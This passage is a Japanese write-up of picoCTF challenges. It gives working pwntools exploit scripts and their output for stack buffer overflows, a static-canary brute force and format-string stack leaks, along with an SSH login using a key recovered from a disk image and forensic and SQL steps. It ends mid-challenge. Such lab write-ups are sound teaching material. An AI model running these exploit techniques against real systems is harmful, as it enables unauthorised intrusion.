http://saturn.picoctf.net:49810/secret/hidden/superhidden/にアクセスし、HTMLソースを見るとフラグが書いてあった。

picoCTF{succ3ss_@h3n1c@10n_08de81e4}

Sleuthkit Apprentice (Forensics 200)

Autopsyで開き、ビューからファイルタイプでプレーンテキストを見ると、flag.txtとflag.uni.txtがある。そのうちflag.uni.txtの方にフラグが書いてあった。

picoCTF{by73_5urf3r_11b94644}

SQL Direct (Web Exploitation 200)

DBサーバにリモートで接続し、フラグのありかを探す。

$ psql -h saturn.picoctf.net -p 62481 -U postgres pico
Password for user postgres: 
psql (12.9 (Ubuntu 12.9-0ubuntu0.20.04.1), server 14.2 (Debian 14.2-1.pgdg110+1))
WARNING: psql major version 12, server major version 14.
         Some psql features might not work.
Type "help" for help.

pico=# \l

                                 List of databases
   Name    |  Owner   | Encoding |  Collate   |   Ctype    |   Access privileges   
-----------+----------+----------+------------+------------+-----------------------
 pico      | postgres | UTF8     | en_US.utf8 | en_US.utf8 | 
 postgres  | postgres | UTF8     | en_US.utf8 | en_US.utf8 | 
 template0 | postgres | UTF8     | en_US.utf8 | en_US.utf8 | =c/postgres          +
           |          |          |            |            | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.utf8 | en_US.utf8 | =c/postgres          +
           |          |          |            |            | postgres=CTc/postgres
(4 rows)

pico=# \d
         List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | flags | table | postgres
(1 row)

pico=# \d flags
                        Table "public.flags"
  Column   |          Type          | Collation | Nullable | Default 
-----------+------------------------+-----------+----------+---------
 id        | integer                |           | not null | 
 firstname | character varying(255) |           |          | 
 lastname  | character varying(255) |           |          | 
 address   | character varying(255) |           |          | 
Indexes:
    "flags_pkey" PRIMARY KEY, btree (id)

pico=# select * from flags;
 id | firstname | lastname  |                address                 
----+-----------+-----------+----------------------------------------
  1 | Luke      | Skywalker | picoCTF{L3arN_S0m3_5qL_t0d4Y_472538a0}
  2 | Leia      | Organa    | Alderaan
  3 | Han       | Solo      | Corellia
(3 rows)
picoCTF{L3arN_S0m3_5qL_t0d4Y_472538a0}

x-sixty-what (Binary Exploitation 200)

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3267ee5914133fcf5ee026a4aa2b201324f02089, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vuln 
Welcome to 64-bit. Give me a string that gets you the flag: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdd50 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad2288 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x7fffffffdd51 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
RIP: 0x4012d1 (<vuln+31>:	ret)
R8 : 0x4052c5 --> 0x0 
R9 : 0x7ffff7fd94c0 (0x00007ffff7fd94c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x401150 (<_start>:	endbr64)
R13: 0x7fffffffdea0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4012ca <vuln+24>:	call   0x401100 <gets@plt>
   0x4012cf <vuln+29>:	nop
   0x4012d0 <vuln+30>:	leave  
=> 0x4012d1 <vuln+31>:	ret    
   0x4012d2 <main>:	endbr64 
   0x4012d6 <main+4>:	push   rbp
   0x4012d7 <main+5>:	mov    rbp,rsp
   0x4012da <main+8>:	sub    rsp,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd98 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffdda0 ("AJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffdda8 ("AAKAAgAA6AAL")
0024| 0x7fffffffddb0 --> 0x7f004c414136 
0032| 0x7fffffffddb8 --> 0x3e800000000 
0040| 0x7fffffffddc0 --> 0x401340 (<__libc_csu_init>:	endbr64)
0048| 0x7fffffffddc8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0056| 0x7fffffffddd0 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004012d1 in vuln ()
gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

$ ROPgadget --binary vuln | grep ": ret"
0x000000000040101a : ret

BOFでflag関数をコールする。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('saturn.picoctf.net', 63211)
else:
    p = process('./vuln')

elf = ELF('./vuln')

ret_addr = 0x40101a
flag_addr = elf.symbols['flag']

payload = b'A' * 72
payload += p64(ret_addr)
payload += p64(flag_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 63211: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Welcome to 64-bit. Give me a string that gets you the flag:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x006\x12@\x00\x00\x00\x00\x00'
picoCTF{b1663r_15_b3773r_ec424efd}
[*] Closed connection to saturn.picoctf.net port 63211
picoCTF{b1663r_15_b3773r_ec424efd}

Bbbbloat (Reverse Engineering 300)

Ghidraでデコンパイルする。

undefined8 FUN_00101307(void)

{
  char *__s;
  long in_FS_OFFSET;
  int local_48;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_38 = 0x4c75257240343a41;
  local_30 = 0x3062396630664634;
  local_28 = 0x5f353066635f3d33;
  local_20 = 0x4e626164336864;
  printf("What\'s my favorite number? ");
  __isoc99_scanf();
  if (local_48 == 0x86187) {
    __s = (char *)FUN_00101249(0,&local_38);
    fputs(__s,stdout);
    putchar(10);
    free(__s);
  }
  else {
    puts("Sorry, that\'s not it!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
>>> 0x86187
549255

実行して549255を指定すればよい。

$ ./bbbbloat 
What's my favorite number? 549255
picoCTF{cu7_7h3_bl047_d059b523}
picoCTF{cu7_7h3_bl047_d059b523}

buffer overflow 2 (Binary Exploitation 300)

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1c57f0cbd109ed51024baf11930a5364186c28df, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 128
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vuln 
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x81 
EBX: 0x41413741 ('A7AA')
ECX: 0xf7faedc7 --> 0xfaf8900a 
EDX: 0xf7faf890 --> 0x0 
ESI: 0xf7fae000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0x6941414d ('MAAi')
ESP: 0xffffcf80 ("ANAAjAA9AAOA")
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffcf80 ("ANAAjAA9AAOA")
0004| 0xffffcf84 ("jAA9AAOA")
0008| 0xffffcf88 ("AAOA")
0012| 0xffffcf8c --> 0x300 
0016| 0xffffcf90 --> 0xffffcfb0 --> 0x1 
0020| 0xffffcf94 --> 0x0 
0024| 0xffffcf98 --> 0x0 
0028| 0xffffcf9c --> 0xf7df1fa1 (<__libc_start_main+241>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ patto AA8A
AA8A found at offset: 112

BOFで引数を指定し、以下の順でバッファを構成し、win関数をコールする。

・任意の112バイト
・win関数アドレス
・任意の4バイト
・第一引数
・第二引数
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('saturn.picoctf.net', 61498)
else:
    p = process('./vuln')

elf = ELF('./vuln')

win_addr = elf.symbols['win']

payload = b'A' * 112
payload += p32(win_addr)
payload += b'BBBB'
payload += p32(0xCAFEF00D)
payload += p32(0xF00DF00D)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 61498: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Please enter your string:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0'
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04\x08BBBB\r\xf0\xfe\xca\r\xf0\r\xf0'
picoCTF{argum3nt5_4_d4yZ_74abd092}
[*] Closed connection to saturn.picoctf.net port 61498
picoCTF{argum3nt5_4_d4yZ_74abd092}

buffer overflow 3 (Binary Exploitation 300)

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=5fadb3d053aee24d87bef67c56037d6d9e2b56f2, for GNU/Linux 3.2.0, not stripped

コード内で固定のCANARYを実装している。ローカルではcanary.txtに1234と書いて保存して試す。

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vuln 
How Many Bytes will You Write Into the Buffer?
> 100
Input> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH1234A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Ok... Now Where's the Flag?

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x41344141 ('AA4A')
ECX: 0xf7faf890 --> 0x0 
EDX: 0x0 
ESI: 0xf7fae000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0x41414a41 ('AJAA')
ESP: 0xffffcf80 ("AAKAAgAA6AAL\350\003")
EIP: 0x35414166 ('fAA5')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x35414166
[------------------------------------stack-------------------------------------]
0000| 0xffffcf80 ("AAKAAgAA6AAL\350\003")
0004| 0xffffcf84 ("AgAA6AAL\350\003")
0008| 0xffffcf88 ("6AAL\350\003")
0012| 0xffffcf8c --> 0x3e8 
0016| 0xffffcf90 --> 0xffffcfb0 --> 0x1 
0020| 0xffffcf94 --> 0x0 
0024| 0xffffcf98 --> 0x0 
0028| 0xffffcf9c --> 0xf7df1fa1 (<__libc_start_main+241>:	add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x35414166 in ?? ()
gdb-peda$ 
gdb-peda$ patto fAA5
fAA5 found at offset: 84

ブルートフォースでCANARY値を求める。あとは任意の64バイトの後にCANARY値をバッファに置き、BOFでwin関数をコールする。

#!/usr/bin/env python3
from pwn import *

canary = b''
for i in range(4):
    for code in range(256):
        if len(sys.argv) == 1:
            p = remote('saturn.picoctf.net', 54482)
        else:
            p = process('./vuln')
        payload = b'A' * 64 + canary + bytes([code])

        data = p.recvuntil(b'> ').decode()
        print(data + str(len(payload)))
        p.sendline(str(len(payload)).encode())
        data = p.recvuntil(b'> ').decode()
        print(data, end='')
        print(payload)
        p.sendline(payload)
        data = p.recvline().decode()
        print(data)
        p.close()
        if 'Stack Smashing Detected' not in data:
            canary += bytes([code])
            break

if len(sys.argv) == 1:
    p = remote('saturn.picoctf.net', 54482)
else:
    p = process('./vuln')

elf = ELF('./vuln')

win_addr = elf.symbols['win']

payload = b'A' * 64
payload += canary
payload += b'A' * (84 - len(payload))
payload += p32(win_addr)

data = p.recvuntil(b'> ').decode()
print(data + str(len(payload)))
p.sendline(str(len(payload)).encode())
data = p.recvuntil(b'> ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 54482: Done
How Many Bytes will You Write Into the Buffer?
> 65
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00'
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[*] Closed connection to saturn.picoctf.net port 54482
[+] Opening connection to saturn.picoctf.net on port 54482: Done
How Many Bytes will You Write Into the Buffer?
> 65
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01'
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[*] Closed connection to saturn.picoctf.net port 54482
[+] Opening connection to saturn.picoctf.net on port 54482: Done
How Many Bytes will You Write Into the Buffer?
> 65
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x02'
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[*] Closed connection to saturn.picoctf.net port 54482
        :
        :
[+] Opening connection to saturn.picoctf.net on port 54482: Done
How Many Bytes will You Write Into the Buffer?
> 68
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRb'
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[*] Closed connection to saturn.picoctf.net port 54482
[+] Opening connection to saturn.picoctf.net on port 54482: Done
How Many Bytes will You Write Into the Buffer?
> 68
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRc'
***** Stack Smashing Detected ***** : Canary Value Corrupt!

[*] Closed connection to saturn.picoctf.net port 54482
[+] Opening connection to saturn.picoctf.net on port 54482: Done
How Many Bytes will You Write Into the Buffer?
> 68
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRd'
Ok... Now Where's the Flag?

[*] Closed connection to saturn.picoctf.net port 54482
[+] Opening connection to saturn.picoctf.net on port 54482: Done
[*] '/mnt/hgfs/Shared/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
How Many Bytes will You Write Into the Buffer?
> 88
Input> b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABiRdAAAAAAAAAAAAAAAA6\x93\x04\x08'
Ok... Now Where's the Flag?

picoCTF{Stat1C_c4n4r13s_4R3_b4D_32625866}

[*] Closed connection to saturn.picoctf.net port 54482
picoCTF{Stat1C_c4n4r13s_4R3_b4D_32625866}

Eavesdrop (Forensics 300)

TCP Streamを見てみる。

[tcp.stream eq 0]
Hey, how do you decrypt this file again?
You're serious?
Yeah, I'm serious
*sigh* openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
Ok, great, thanks.
Let's use Discord next time, it's more secure.
C'mon, no one knows we use this program like this!
Whatever.
Hey.
Yeah?
Could you transfer the file to me again?
Oh great. Ok, over 9002?
Yeah, listening.
Sent it
Got it.
You're unbelievable

[tcp.stream eq 2]
Salted__g>,.a	m.....,..l_J..c.3...,9.....iUT...6

tcp.stream eq 2のパケットNo.57から暗号化データをエクスポートし、tcp.stream eq 0の中で行っているコマンドで復号する。

$ openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
$ cat file.txt
picoCTF{nc_73115_411_aefc6100}
picoCTF{nc_73115_411_aefc6100}

flag leak (Binary Exploitation 300)

$ nc saturn.picoctf.net 50082
Tell me a story and then I'll tell you one >> AAAA%p.%p.%p.%p.%p.%p.%p.%p
Here's a story - 
AAAA0xffe315a0.0xffe315c0.0x8049346.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025

FSB脆弱性がある。

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=7cdf03860c5c78d6e375e91d88a2b05b28389fd0, for GNU/Linux 3.2.0, not stripped

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ disas vuln
Dump of assembler code for function vuln:
   0x08049333 <+0>:	endbr32 
   0x08049337 <+4>:	push   ebp
   0x08049338 <+5>:	mov    ebp,esp
   0x0804933a <+7>:	push   ebx
   0x0804933b <+8>:	sub    esp,0xc4
   0x08049341 <+14>:	call   0x80491f0 <__x86.get_pc_thunk.bx>
   0x08049346 <+19>:	add    ebx,0x2cba
   0x0804934c <+25>:	sub    esp,0x8
   0x0804934f <+28>:	push   0x40
   0x08049351 <+30>:	lea    eax,[ebp-0x48]
   0x08049354 <+33>:	push   eax
   0x08049355 <+34>:	call   0x80492b6 <readflag>
   0x0804935a <+39>:	add    esp,0x10
   0x0804935d <+42>:	sub    esp,0xc
   0x08049360 <+45>:	lea    eax,[ebx-0x1f9c]
   0x08049366 <+51>:	push   eax
   0x08049367 <+52>:	call   0x80490f0 <printf@plt>
   0x0804936c <+57>:	add    esp,0x10
   0x0804936f <+60>:	sub    esp,0x8
   0x08049372 <+63>:	lea    eax,[ebp-0xc8]
   0x08049378 <+69>:	push   eax
   0x08049379 <+70>:	lea    eax,[ebx-0x1f6d]
   0x0804937f <+76>:	push   eax
   0x08049380 <+77>:	call   0x8049180 <__isoc99_scanf@plt>
   0x08049385 <+82>:	add    esp,0x10
   0x08049388 <+85>:	sub    esp,0xc
   0x0804938b <+88>:	lea    eax,[ebx-0x1f67]
   0x08049391 <+94>:	push   eax
   0x08049392 <+95>:	call   0x8049120 <puts@plt>
   0x08049397 <+100>:	add    esp,0x10
   0x0804939a <+103>:	sub    esp,0xc
   0x0804939d <+106>:	lea    eax,[ebp-0xc8]
   0x080493a3 <+112>:	push   eax
   0x080493a4 <+113>:	call   0x80490f0 <printf@plt>
   0x080493a9 <+118>:	add    esp,0x10
   0x080493ac <+121>:	sub    esp,0xc
   0x080493af <+124>:	push   0xa
   0x080493b1 <+126>:	call   0x8049170 <putchar@plt>
   0x080493b6 <+131>:	add    esp,0x10
   0x080493b9 <+134>:	nop
   0x080493ba <+135>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080493bd <+138>:	leave  
   0x080493be <+139>:	ret    
End of assembler dump.
gdb-peda$ b *0x8049385
Breakpoint 1 at 0x8049385
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vuln 
Tell me a story and then I'll tell you one >> 1234

[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x804c000 --> 0x804bf10 --> 0x1 
ECX: 0x1 
EDX: 0xf7faf89c --> 0x0 
ESI: 0xf7fae000 --> 0x1d4d8c 
EDI: 0x0 
EBP: 0xffffcf78 --> 0xffffcf98 --> 0x0 
ESP: 0xffffcea0 --> 0x804a093 ("%127s")
EIP: 0x8049385 (<vuln+82>:	add    esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049379 <vuln+70>:	lea    eax,[ebx-0x1f6d]
   0x804937f <vuln+76>:	push   eax
   0x8049380 <vuln+77>:	call   0x8049180 <__isoc99_scanf@plt>
=> 0x8049385 <vuln+82>:	add    esp,0x10
   0x8049388 <vuln+85>:	sub    esp,0xc
   0x804938b <vuln+88>:	lea    eax,[ebx-0x1f67]
   0x8049391 <vuln+94>:	push   eax
   0x8049392 <vuln+95>:	call   0x8049120 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffcea0 --> 0x804a093 ("%127s")
0004| 0xffffcea4 --> 0xffffceb0 ("1234")
0008| 0xffffcea8 --> 0xf7ddd012 --> 0x2dd76967 
0012| 0xffffceac --> 0x8049346 (<vuln+19>:	add    ebx,0x2cba)
0016| 0xffffceb0 ("1234")
0020| 0xffffceb4 --> 0xffffff00 
0024| 0xffffceb8 --> 0x7b1ea71 
0028| 0xffffcebc --> 0xf7de1f24 --> 0x2e35 ('5.')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08049385 in vuln ()
gdb-peda$ x/64w $esp
0xffffcea0:	0x0804a093	0xffffceb0	0xf7ddd012	0x08049346
0xffffceb0:	0x34333231	0xffffff00	0x07b1ea71	0xf7de1f24
0xffffcec0:	0xf7fd0110	0xffffffff	0xf7e49559	0xf7de3534
0xffffced0:	0xf7fd0110	0x00000000	0xf7fac880	0xf7e4cf56
0xffffcee0:	0xf7fdfeb9	0x00000001	0x00000000	0x0804838d
0xffffcef0:	0x0804c034	0xf7fe4fb8	0x0804838d	0xf7ffd940
0xffffcf00:	0xffffcf34	0xf7ffdaf8	0xf7fd0410	0x00000001
0xffffcf10:	0x00000001	0x00000000	0xf7fd0410	0x00000001
0xffffcf20:	0xf7ffd000	0x08048338	0xf7faed80	0xf7e40dbb
0xffffcf30:	0x67616c66	0x676f687b	0x00007d65	0xf7e9806d
0xffffcf40:	0xf7fe4f09	0x0804c000	0xf7fae000	0x00000000
0xffffcf50:	0xffffcf98	0xf7fead50	0x00000000	0x80367c00
0xffffcf60:	0x000003e8	0xf7e98036	0x0804c000	0x08049410
0xffffcf70:	0x000003e8	0x0804c000	0xffffcf98	0x08049418
0xffffcf80:	0x00000001	0xffffd044	0xffffd04c	0x000003e8
0xffffcf90:	0xffffcfb0	0x00000000	0x00000000	0xf7df1fa1

36番目のスタック以降にフラグが入っているので、各スタックのデータを取得し、文字列として表示させる。

#!/usr/bin/env python3
from pwn import *

i = 36
flag = b''
while True:
    payload = '%' + str(i) + '$p'
    p = remote('saturn.picoctf.net', 56197)
    data = p.recvuntil(b'>> ').decode()
    print(data + payload)
    p.sendline(payload.encode())
    data = p.recvline().rstrip().decode()
    print(data)
    data = p.recvline().rstrip().decode()
    print(data)
    flag += p32(int(data, 16))
    p.close()
    if b'}' in flag:
        print(flag.decode())
        break
    i += 1

実行結果は以下の通り。

[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %36$p
Here's a story -
0x6f636970
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %37$p
Here's a story -
0x7b465443
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %38$p
Here's a story -
0x6b34334c
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %39$p
Here's a story -
0x5f676e31
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %40$p
Here's a story -
0x67346c46
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %41$p
Here's a story -
0x6666305f
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %42$p
Here's a story -
0x3474535f
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %43$p
Here's a story -
0x645f6b63
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %44$p
Here's a story -
0x30623739
[*] Closed connection to saturn.picoctf.net port 56197
[+] Opening connection to saturn.picoctf.net on port 56197: Done
Tell me a story and then I'll tell you one >> %45$p
Here's a story -
0x7d343964
[*] Closed connection to saturn.picoctf.net port 56197
picoCTF{L34k1ng_Fl4g_0ff_St4ck_d97b0d94}
picoCTF{L34k1ng_Fl4g_0ff_St4ck_d97b0d94}

Operation Oni (Forensics 300)

Autopsyで開き、[vol3]の/root/.ssh/id_ed25519をエクスポートする。この鍵を使って、接続する。

$ ssh -i id_ed25519 -p 65340 ctf-player@saturn.picoctf.net
The authenticity of host '[saturn.picoctf.net]:65340 ([18.217.86.78]:65340)' can't be established.
ECDSA key fingerprint is SHA256:0L/+wJ14/Sk4s6Ue+TxXnAW7qNBuaMeIxA9dXp2zzaU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[saturn.picoctf.net]:65340,[18.217.86.78]:65340' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1017-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ctf-player@challenge:~$ ls
flag.txt
ctf-player@challenge:~$ cat flag.txt
picoCTF{k3y_5l3u7h_d6570e30}
picoCTF{k3y_5l3u7h_d6570e30}

ropfu (Binary Exploitation 300)

$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln

$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vuln 
